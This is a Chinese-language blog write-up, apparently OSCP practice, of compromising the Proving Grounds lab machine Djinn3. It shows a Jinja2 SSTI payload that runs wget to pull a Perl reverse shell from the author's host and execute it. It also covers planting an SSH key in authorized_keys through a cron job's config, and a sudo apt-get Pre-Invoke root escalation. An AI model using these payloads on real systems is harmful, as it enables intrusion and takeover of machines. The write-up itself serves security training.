OSCP-PG-Djinn3

Mkd1R 2022-5-26 80 5/26

#Enumeration

-namp

我尽可能快速的枚举出靶机上的端口信息
# nmap -sS -Pn -open -T4 -p- 192.168.218.102
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
5000/tcp  open  upnp
31337/tcp open  Elite

-nmap2

我又对开放的端口进行了详细的扫描
# nmap -p 22,80,5000,31337 -A 192.168.218.102 
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e6:44:23:ac:b2:d9:82:e7:90:58:15:5e:40:23:ed:65 (RSA)
|   256 ae:04:85:6e:cb:10:4f:55:4a:ad:96:9e:f2:ce:18:4f (ECDSA)
|_  256 f7:08:56:19:97:b5:03:10:18:66:7e:7d:2e:0a:47:42 (ED25519)
80/tcp    open  http    lighttpd 1.4.45
|_http-title: Custom-ers
|_http-server-header: lighttpd/1.4.45
5000/tcp  open  http    Werkzeug httpd 1.0.1 (Python 3.6.9)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
31337/tcp open  Elite?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL: 
|     username>
|   GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     username> password> authentication failed
|   Help: 
|     username> password>
|   RPCCheck: 
|     username> Traceback (most recent call last):
|     File "/opt/.tick-serv/tickets.py", line 105, in <module>
|     main()
|     File "/opt/.tick-serv/tickets.py", line 93, in main
|     username = input("username> ")
|     File "/usr/lib/python3.6/codecs.py", line 321, in decode
|     (result, consumed) = self._buffer_decode(data, self.errors, final)
|     UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte
|   SSLSessionReq: 
|     username> Traceback (most recent call last):
|     File "/opt/.tick-serv/tickets.py", line 105, in <module>
|     main()
|     File "/opt/.tick-serv/tickets.py", line 93, in main
|     username = input("username> ")
|     File "/usr/lib/python3.6/codecs.py", line 321, in decode
|     (result, consumed) = self._buffer_decode(data, self.errors, final)
|     UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation byte
|   TerminalServerCookie: 
|     username> Traceback (most recent call last):
|     File "/opt/.tick-serv/tickets.py", line 105, in <module>
|     main()
|     File "/opt/.tick-serv/tickets.py", line 93, in main
|     username = input("username> ")
|     File "/usr/lib/python3.6/codecs.py", line 321, in decode
|     (result, consumed) = self._buffer_decode(data, self.errors, final)
|_    UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe0 in position 5: invalid continuation byte

#Web Enumeration

我在http://192.168.218.102:5000/看到了一些ticketing software信息,例如default user guest

#Exploitation

我访问http://192.168.218.102:31337/时给我回显了这样一句话username> password> authentication failed
,随后我使用nc对此端口进行了尝试,并使用guest/guest用户成功登陆ticketing system并查看了一下help文档
经过测试open发现这里添加的内容会在5000端口中的票据系统前台展示出来
在回到前面nmap扫描时5000端口使用python3编写的,使用的是werkzeug库,我们先来看一下Flask框架的介绍

Flask是一个基于Python开发并且依赖jinja2模板和Werkzeug WSGI服务的一个微型框架对于Werkzeug本质是Socket服务端,其用于接收http请求并对请求进行预处理,然后触发
Flask框架,开发人员基于Flask框架提供的功能对请求进行相应的处理,并返回给用户,如果要返回给用户复杂的内容时,需要借助jinja2模板来实现对模板的处理,即:将模板和数据进行渲染,将渲染后的字符串返回给用户浏览器。

flask+jinjia2存在SSTI漏洞,所以我们可以在次数尝试一下
点击link进入之后确实将乘法计算了出来
之后我我又在31339端口创建了一个ticket,这个ticiket将利用ssti漏洞从我本地下载一个shell.perl并运行,随后我成功了收到了一个shell,并切换成了交互式shell(python3 -c "import pty;pty.spawn('/bin/bash')")
{{config.__class__.__init__.__globals__['os'].popen('wget http://192.168.49.154:8000/tshell.pl;perl tshell.pl').read()}}

这里还有一个payload大全(https://github.com/swisskyrepo/PayloadsAllTheThings)

#Escalation

我在里面搜索了具有SUID权限的命令。以及其他文件,但并没有什么收获,之后我使用了pspy6进行查看进程,我将在tmp目录将它下来下来并使用./pspy64 -pf -c -i 1000运行它
(wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64)
参数介绍:
-pf:打印命令和文件系统事件
-c:用不同的颜色打印命令。 文件系统事件不再着色,命令根据进程UID有不同的颜色。
-i:速率

pspy6介绍(官方翻译而来):
Pspy是一个命令行工具,用于在不需要root权限的情况下窥探进程。 它允许您查看其他用户运行的命令、cron作业等的执行情况,该工具从procfs扫描中收集信息。 Inotify监视程序放置在文件系统的选定部分上,触发这些扫描以捕获短暂的进程。 

2022/05/25 17:45:01 CMD: UID=1000 PID=1539   | /usr/bin/python3 /home/saint/.sync-data/syncer.py 
2022/05/25 17:45:01 CMD: UID=1000 PID=1538   | /bin/sh -c /usr/bin/python3 /home/saint/.sync-data/syncer.py
但是我并不能直接查看这俩个文件,因为我没有权限进入这个用户的家目录
我使用find搜索了这个用户是否存在其他文件时,我发现了在opt目录还有还存在着两个pyc,我将在靶机上开启临时的http以至于我能够在本地将它们wget下来
我将文件复制到windows上并使用uncompyle4.exe(需要自己安装)对pyc进行了反编译,获得结果如下
⚡ Administrator ~\..\pyc ❯❯❯ uncompyle6.exe .\configuration.cpython-38.pyc
# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 3.8.6 (tags/v3.8.6:db45529, Sep 23 2020, 15:52:53) [MSC v.1927 64 bit (AMD64)]
# Embedded file name: configuration.py
# Compiled at: 2020-06-04 22:49:49
# Size of source mod 2**32: 1343 bytes
import os, sys, json
from glob import glob
from datetime import datetime as dt

class ConfigReader:
    config = None

    @staticmethod
    def read_config(path):
        """Reads the config file
        """
        config_values = {}
        try:
            with open(path, 'r') as (f):
                config_values = json.load(f)
        except Exception as e:
            try:
                print("Couldn't properly parse the config file. Please use properl")
                sys.exit(1)
            finally:
                e = None
                del e

        else:
            return config_values

    @staticmethod
    def set_config_path():
        """Set the config path
        """
        files = glob('/home/saint/*.json')
        other_files = glob('/tmp/*.json')
        files = files + other_files
        try:
            if len(files) > 2:
                files = files[:2]
            else:
                file1 = os.path.basename(files[0]).split('.')
                file2 = os.path.basename(files[1]).split('.')
                if file1[(-2)] == 'config':
                    if file2[(-2)] == 'config':
                        a = dt.strptime(file1[0], '%d-%m-%Y')
                        b = dt.strptime(file2[0], '%d-%m-%Y')
                if b < a:
                    filename = files[0]
                else:
                    filename = files[1]
        except Exception:
            sys.exit(1)
        else:
            return filename
# okay decompiling .\configuration.cpython-38.pyc

⚡ Administrator ~\..\pyc ❯❯❯ uncompyle6.exe .\syncer.cpython-38.pyc
# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 3.8.6 (tags/v3.8.6:db45529, Sep 23 2020, 15:52:53) [MSC v.1927 64 bit (AMD64)]
# Embedded file name: syncer.py
# Compiled at: 2020-06-01 19:32:59
# Size of source mod 2**32: 587 bytes
from configuration import *
from connectors.ftpconn import *
from connectors.sshconn import *
from connectors.utils import *

def main():
    """Main function
    Cron job is going to make my work easy peasy
    """
    configPath = ConfigReader.set_config_path()
    config = ConfigReader.read_config(configPath)
    connections = checker(config)
    if 'FTP' in connections:
        ftpcon(config['FTP'])
    else:
        if 'SSH' in connections:
            sshcon(config['SSH'])
        else:
            if 'URL' in connections:
                sync(config['URL'], config['Output'])


if __name__ == '__main__':
    main()
# okay decompiling .\syncer.cpython-38.pyc
通过对代码的解读,我将创建一个json文件在靶机的tmp目录

{
        "URL":"http://192.168.49.151:8001/authorized_keys",
        "Output":"/home/saint/.ssh/authorized_keys"
}
将这个内容写入类似于25-5-2022.config.json文件名的文件里,随后使用wget在靶机的tmp目录将它下载下来,等待一会,我们就可以使用ssh免密登录saint用户
我在本地查看到远程靶机get记录就去尝试了ssh米面登录,并且成功了

#Changing user

我使用sudo -l查看了一下当前用户的权限,允许我NOPASS使用adduser,可以创建一个root组的用户

#Elevate privileges

我再次尝试sudo -l查看用户权限但是这次我们无法查看,我又尝试查看sudoer文件,内容提示jason用户可以执行apt-get命令,
但是我查看/etc/passwd里并没有这个用户,所有我们还需创建一个jason用户,我回退到之前ssh免密登录进来的saint用户继续创建一个jason用户
随后我搜索有关apt-get提权的方法,并且找到了
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
- THE END -

Mkd1R

7月02日21:54

最后修改:2022年7月2日
0

非特殊说明,本博所有文章均为博主原创。